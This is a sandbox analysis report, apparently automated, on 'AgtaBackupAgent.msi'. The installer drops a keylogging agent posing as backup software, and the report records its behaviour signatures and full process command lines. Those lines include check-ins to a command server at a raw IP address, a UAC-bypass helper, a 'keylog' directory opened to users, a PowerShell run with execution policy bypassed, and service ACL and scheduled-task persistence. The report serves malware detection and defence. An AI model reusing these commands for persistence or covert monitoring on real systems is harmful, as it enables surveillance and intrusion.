Resubmissions

10/09/2026, 01:48

260910-b77gqaee8210

10/09/2026, 01:20

260910-bqbnqacl6t10

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 01:20

General

  • Target
    AgtaBackupAgent.msi
  • Size 32.5MB
  • Sample260910-bqbnqacl6t
  • SHA256 65c3de6042c6fdca367f4c89102a767a7fd634e6897b5974704d2311d8dc9fb8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Executes dropped EXE 11 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 8 IoCs
  • Drops file in Windows directory 19 IoCs
  • Launches sc.exe 21 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\AgtaBackupAgent.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:824
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:6052
      • C:\Program Files\Agta Backup\Credential Guard.exe
        "C:\Program Files\Agta Backup\Credential Guard.exe" --install-service --prod --checkin-url "http://144.172.106.146:4080"
        2⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:1344
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
          3⤵
          • Launches sc.exe
          PID:952
        • C:\Windows\SYSTEM32\sc.exe
          "sc.exe" failure AgtaBackupAgentSvc reset= 86400 actions= restart/5000/restart/5000/restart/5000
          3⤵
          • Launches sc.exe
          PID:5276
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" start AgtaBackupAgentSvc
          3⤵
          • Launches sc.exe
          PID:5016
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
          3⤵
          • Launches sc.exe
          PID:4236
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
          3⤵
          • Launches sc.exe
          • Suspicious use of AdjustPrivilegeToken
          PID:5248
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" sdset AgtaBackupAgentSvc O:SYG:SYD:(A;;CCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
          3⤵
          • Launches sc.exe
          • Suspicious use of AdjustPrivilegeToken
          PID:5444
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
          3⤵
          • Launches sc.exe
          • Suspicious use of AdjustPrivilegeToken
          PID:4852
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /Create /TN "AgtaBackupAgentWatchdog" /XML "C:\Windows\SystemTemp\agta_task_93cd90a562d2447daaef577012acbb92.xml" /F /RU SYSTEM
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1352
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /Create /TN "AgtaBackupAgentGuardian" /XML "C:\Windows\SystemTemp\agta_task_100034e69c314fc4a0b57db490a70606.xml" /F /RU SYSTEM
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2428
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
          3⤵
          • Launches sc.exe
          PID:5848
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:3596
    • C:\Program Files\Agta Backup\Credential Guard.exe
      "C:\Program Files\Agta Backup\Credential Guard.exe" --service --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --checkin-url http://144.172.106.146:4080
      1⤵
      • UAC bypass
      • Executes dropped EXE
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:5720
      • C:\Program Files\Agta Backup\Credential Guard.exe
        "C:\Program Files\Agta Backup\Credential Guard.exe" --idle-probe --idle-out "C:\ProgramData\Agta Backup\idle.probe"
        2⤵
        • Executes dropped EXE
        PID:3388
      • C:\Program Files\Agta Backup\Credential Guard.exe
        "C:\Program Files\Agta Backup\Credential Guard.exe" --uac-helper --svc AgtaBackupAgentSvc
        2⤵
        • Executes dropped EXE
        PID:2812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\agta_av_795bfd18.ps1"
        2⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3924
      • C:\Windows\system32\icacls.exe
        "icacls.exe" "C:\ProgramData\Agta Backup\keylog" /grant *S-1-5-32-545:(OI)(CI)M /T
        2⤵
        • Modifies file permissions
        PID:1820
      • C:\Program Files\Agta Backup\Window Security Health Services.exe
        "C:\Program Files\Agta Backup\Window Security Health Services.exe" --daemon
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1504
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
        2⤵
          PID:3660
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentGuardian"
          2⤵
            PID:5440
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
            2⤵
            • Launches sc.exe
            PID:1816
          • C:\Program Files\Agta Backup\Credential Guard.exe
            "C:\Program Files\Agta Backup\Credential Guard.exe" --idle-probe --idle-out "C:\ProgramData\Agta Backup\idle.probe"
            2⤵
            • Executes dropped EXE
            PID:1488
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
            2⤵
              PID:1068
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentGuardian"
              2⤵
                PID:4344
              • C:\Windows\system32\sc.exe
                "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
                2⤵
                • Launches sc.exe
                PID:1976
            • C:\Program Files\Agta Backup\Credential Guard.exe
              "C:\Program Files\Agta Backup\Credential Guard.exe"
              1⤵
              • Executes dropped EXE
              PID:5536
            • C:\Program Files\Agta Backup\Credential Guard.exe
              "C:\Program Files\Agta Backup\Credential Guard.exe" --guardian --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --install-dir "C:\Program Files\Agta Backup" --checkin-url http://144.172.106.146:4080
              1⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4040
              • C:\Windows\system32\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
                2⤵
                  PID:4280
              • C:\Program Files\Agta Backup\Credential Guard.exe
                "C:\Program Files\Agta Backup\Credential Guard.exe" --watchdog --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --install-dir "C:\Program Files\Agta Backup" --checkin-url http://144.172.106.146:4080
                1⤵
                • Sets service image path in registry
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:4920
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
                  2⤵
                    PID:2428
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentGuardian"
                    2⤵
                      PID:3420
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" queryex AgtaBackupAgentSvc
                      2⤵
                      • Launches sc.exe
                      PID:5572
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
                      2⤵
                      • Launches sc.exe
                      PID:5596
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" queryex AgtaBackupAgentSvc
                      2⤵
                      • Launches sc.exe
                      PID:1600
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" queryex AgtaBackupAgentSvc
                      2⤵
                      • Launches sc.exe
                      PID:4244
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" stop AgtaBackupAgentSvc
                      2⤵
                      • Launches sc.exe
                      PID:2784
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" start AgtaBackupAgentSvc
                      2⤵
                      • Launches sc.exe
                      PID:4796
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
                      2⤵
                      • Launches sc.exe
                      PID:5436
                  • C:\Program Files\Agta Backup\Credential Guard.exe
                    "C:\Program Files\Agta Backup\Credential Guard.exe" --guardian --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --install-dir "C:\Program Files\Agta Backup" --checkin-url http://144.172.106.146:4080
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:936
                    • C:\Windows\system32\schtasks.exe
                      "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
                      2⤵
                        PID:1444
                    • C:\Program Files\Agta Backup\Credential Guard.exe
                      "C:\Program Files\Agta Backup\Credential Guard.exe" --watchdog --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --install-dir "C:\Program Files\Agta Backup" --checkin-url http://144.172.106.146:4080
                      1⤵
                      • Executes dropped EXE
                      • Drops file in Program Files directory
                      • Modifies data under HKEY_USERS
                      • Suspicious use of WriteProcessMemory
                      PID:2204
                      • C:\Windows\system32\schtasks.exe
                        "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
                        2⤵
                          PID:5564
                        • C:\Windows\system32\schtasks.exe
                          "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentGuardian"
                          2⤵
                            PID:6112
                          • C:\Windows\system32\sc.exe
                            "C:\Windows\system32\sc.exe" queryex AgtaBackupAgentSvc
                            2⤵
                            • Launches sc.exe
                            PID:2584
                          • C:\Windows\system32\sc.exe
                            "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
                            2⤵
                            • Launches sc.exe
                            PID:1228
                          • C:\Windows\system32\sc.exe
                            "C:\Windows\system32\sc.exe" start AgtaBackupAgentSvc
                            2⤵
                            • Launches sc.exe
                            PID:1424
                          • C:\Windows\system32\sc.exe
                            "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
                            2⤵
                            • Launches sc.exe
                            PID:2984

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              e59e45c.rbs

                              • Path C:\Config.Msi\e59e45c.rbs
                              • Size 8KB
                              • SHA256 20cea51315d54968e6ffbf254594090841c73c86c633e82ba893cee3e5cf6aae
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Credential Guard.exe

                              • Path C:\Program Files\Agta Backup\Credential Guard.exe
                              • Size 11.8MB
                              • SHA256 986750becbee2aee41f8914c5770ee33500bc148fd8d71627d4cdbe8679a8c26
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Window Security Health Services.exe

                              • Path C:\Program Files\Agta Backup\Window Security Health Services.exe
                              • Size 10.7MB
                              • SHA256 b4792b6f1ee8f822537b03936d45aab27ea4ce5030e14cd98f1c055d2bde2360
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              idle.probe

                              • Path C:\ProgramData\Agta Backup\idle.probe
                              • Size 9B
                              • SHA256 c8b72cd71d19683f6f94c7d2811234a50956c03d659de6f752a41ec0d3ae5371
                              • MD5 SHA1 SHA512

                              idle.probe

                              • Path C:\ProgramData\Agta Backup\idle.probe
                              • Size 9B
                              • SHA256 5ed6eff8db624f446b7ddb742017ad8bba8879c56ce7656f5dd381eba1b4448d
                              • MD5 SHA1 SHA512

                              control.json

                              • Path C:\ProgramData\Agta Backup\keylog\control.json
                              • Size 22B
                              • SHA256 dff2c2abaa8e5112ab98b442e55eac9e6682887b1318322324b7b6f8d86683e3
                              • MD5 SHA1 SHA512

                              server.txt

                              • Path C:\ProgramData\Agta Backup\server.txt
                              • Size 27B
                              • SHA256 41463ff68e28c1432367b005fdc6ade5f9ba97bc79792c3eb5f7859982d845ef
                              • MD5 SHA1 SHA512

                              server.txt

                              • Path C:\ProgramData\Agta Backup\server.txt
                              • Size 34B
                              • SHA256 2ae4624e50c5ac34f480a22d821f223b801ec5c62bd8248af4c01da1ff430658
                              • MD5 SHA1 SHA512

                              service.log

                              • Path C:\ProgramData\Agta Backup\service.log
                              • Size 467B
                              • SHA256 fcad799feee970d19393a33704edb0cb3887f28d921d2f31aee79f61986ce668
                              • MD5 SHA1 SHA512 TLSH

                              service.log

                              • Path C:\ProgramData\Agta Backup\service.log
                              • Size 1KB
                              • SHA256 66a8b6711dd892c0e10faf0b4b3518bca3bffd72a4fa542de249fb45cefe25bc
                              • MD5 SHA1 SHA512 TLSH

                              watchdog.log

                              • Path C:\ProgramData\Agta Backup\watchdog.log
                              • Size 123B
                              • SHA256 c50b1b5818de90e8d8bb60409ded3f30d2689942ac8fd1178cb866a23e1122a4
                              • MD5 SHA1 SHA512 TLSH

                              e59e45b.msi

                              • Path C:\Windows\Installer\e59e45b.msi
                              • Size 32.5MB
                              • SHA256 65c3de6042c6fdca367f4c89102a767a7fd634e6897b5974704d2311d8dc9fb8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              agta_av_795bfd18.ps1

                              • Path C:\Windows\SystemTemp\agta_av_795bfd18.ps1
                              • Size 287B
                              • SHA256 ff423134dbc43fd83278c10ecebe3e13a2a15b94f88648e0feb7dea23dcd1092
                              • MD5 SHA1 SHA512 TLSH

                              agta_task_100034e69c314fc4a0b57db490a70606.xml

                              • Path C:\Windows\SystemTemp\agta_task_100034e69c314fc4a0b57db490a70606.xml
                              • Size 2KB
                              • SHA256 08ae971d23f8e92d90ab43baab10561ceb23e99dbe868e245ef79dccf132f315
                              • MD5 SHA1 SHA512 TLSH

                              agta_task_93cd90a562d2447daaef577012acbb92.xml

                              • Path C:\Windows\SystemTemp\agta_task_93cd90a562d2447daaef577012acbb92.xml
                              • Size 2KB
                              • SHA256 ecfc07e10376868ea8ef9705fe599fff53dfe98b15637b81b3306880c75cd5c5
                              • MD5 SHA1 SHA512 TLSH

                              metadata-2

                              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                              • Size 26.1MB
                              • SHA256 14a4b283962f2189bafa77a486e66c686dd3266a0d21250f59a3c1b5f119aa63
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              {bef0c2b4-ede4-4867-9e3a-6f30e489ba55}_OnDiskSnapshotProp

                              • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{bef0c2b4-ede4-4867-9e3a-6f30e489ba55}_OnDiskSnapshotProp
                              • Size 6KB
                              • SHA256 0511dc79d3432f5629a080b4b8f4516b1729e24602efc8dfc51949682027cd3e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3924-43-0x000002366DFD0000-0x000002366DFF4000-memory.dmp

                              memory/3924-42-0x000002366DFD0000-0x000002366DFFA000-memory.dmp

                              memory/3924-41-0x000002366DB30000-0x000002366DB3A000-memory.dmp

                              memory/3924-40-0x000002366DD90000-0x000002366DE42000-memory.dmp

                              memory/3924-39-0x000002366DB40000-0x000002366DB5E000-memory.dmp

                              memory/3924-34-0x000002366D950000-0x000002366D972000-memory.dmp